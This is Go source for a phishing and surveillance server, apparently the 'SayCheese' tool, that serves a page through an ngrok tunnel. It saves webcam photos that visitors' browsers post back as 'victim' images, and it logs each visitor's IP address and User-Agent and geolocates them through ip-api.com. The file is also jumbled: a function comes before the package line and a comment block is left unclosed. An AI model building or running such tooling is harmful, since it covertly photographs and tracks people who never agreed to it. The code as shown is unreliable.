func sayNgrok() {
	time.Sleep(time.Second * 1)  
	res, err := http.Get("http://127.0.0.1:4040/api/tunnels")
	if err != nil && cono <= 10 {
		cono++
		sayNgrok()
	} else if cono > 10 {
		return
	}
	body, err := ioutil.ReadAll(res.Body)
	if err != nil {
		fmt.Println("url dont find")
		return
	}
	fmt.Printf("\nsend: \033[36m%s\n\n\033[0m", detectNgrok.FindString(string(body)))
}
/*
nayNgrok
this made a request to the api of ngrok

http://127.0.0.1:4040/api/tunnels
package main
import (
	"bytes"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"image/png"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"os/signal"
	"regexp"
	"strings"
	"syscall"
	"time"
)
var (
	cono int = 0
	detectNgrok = regexp.MustCompile(`http:[/.\w\s-]+\.io`)  
	logo string = "" +
		"                                                              \033[36m     GGGGGGGG          \n" +
		"                                                                 GlGGGGGG1GGG        \n" +
		"                                                                GGG\033[37m@@@|G1\033[37m@@@\033[36m11GG     \n" +
		"                                                                l1\033[37m|:@@@G\033[37m@ @@\033[36m0GlG     \n" +
		"                                                                GG\033[37m| @@@G\033[37m@ @@\033[36m1G1      \n" +
		"                                                                 G\033[37mG@@@| \033[37m!@@\033[36mGGGG      \n" +
		"                                                                :GGGGGG!GlGGGGG      \n" +
		"                                                                :GGGGG11||GGGGG      \n" +
		"                                                                :GGGGG1\033[37m@@\033[36mGGGGGG   \n" +
		"                                                                .GGGGGGGGGGGGGG      \n" +
		"                                                                 GGGGGGGGGGGGGG      \n" +
		"                                                                 GGGGGGGGGGGGGG      \n" +
		"                                                                1GGGGGGGGGGGGGGG     \n" +
		"                                                               l|GGGGGGGGGGGGGG|!    \n" +
		"                                                                 GGGGGGGGGGGGGG      \n" +
		"                                                                 GGGGGGGGGGGGGG      \n" +
		"                                                                .GGGGGGGGGGGGGG      \n" +
		"                                                                .GGGGGGGGGGGGGG      \n" + "███████╗ █████╗ ██╗   ██╗    ██████╗ ██████╗ ██╗   ██╗██╗  ██╗" +
		"  .GGGGGGGGGGGGGG      \n" + "██╔════╝██╔══██╗╚██╗ ██╔╝    ██╔══██╗██╔══██╗██║   ██║██║  ██║" +
		"   GGGGGGGGGGGGGG      \n" + "███████╗███████║ ╚████╔╝     ██████╔╝██████╔╝██║   ██║███████║" +
		"   GGGGGGGGGGGGGG      \n" + "╚════██║██╔══██║  ╚██╔╝      ██╔══██╗██╔══██╗██║   ██║██╔══██║" +
		"   |GGGGGGGGGGGG       \n" + "███████║██║  ██║   ██║       ██████╔╝██║  ██║╚██████╔╝██║  ██║" +
		"     GGGGGGGGGGl        \n" + "╚══════╝╚═╝  ╚═╝   ╚═╝       ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝" +
		"   00:1G  GGG| 0|      \n"
)
type photo struct {
	Photo string `json:"img"`
}
func imagePNG(input string) io.Reader {
	return base64.NewDecoder(base64.StdEncoding, strings.NewReader(input))
}
func saycheese(_ http.ResponseWriter, r *http.Request) {
	log.Println("\nNew photo")
	var conf photo
	json.NewDecoder(r.Body).Decode(&conf)
	imageData := imagePNG(strings.Replace(conf.Photo, "data:image/octet-stream;base64,", "", 1))
	im, err := png.Decode(imageData)
	if err != nil {
		log.Println(err)
		return
	}
	archiveName := fmt.Sprintf("images/victim%s.png", time.Now())
	fs, err := os.Create(archiveName)
	if err != nil {
		os.Mkdir("images", 0700)
		fs, _ = os.Create(archiveName)
	}
	defer fs.Close()
	png.Encode(fs, im)
}
func writeIP(w http.ResponseWriter, r *http.Request) {
	fs, err := ioutil.ReadFile("logs.txt")
	if err != nil {
		_, err := os.Create("logs.txt")
		if err != nil {
			fmt.Println(err)
		}
	}
	after := string(fs)
	output := strings.Join([]string{after, r.Header.Get("x-forwarded-for"), r.Header.Get("User-Agent")}, "\n")
	resp, _ := http.Get("http://ip-api.com/json/"+r.Header.Get("x-forwarded-for"))  
	outJson, _ := ioutil.ReadAll(resp.Body)
	var out bytes.Buffer
	json.Indent(&out, outJson, "", "\t")
	coolIp := string(out.Bytes())
	fmt.Println(coolIp)
	log.Printf("%s visit your page:", r.Header.Get("x-forwarded-for"))
	err = ioutil.WriteFile("logs.txt", []byte(output), 0644)  
	http.ServeFile(w, r, "view"+r.URL.Path)
}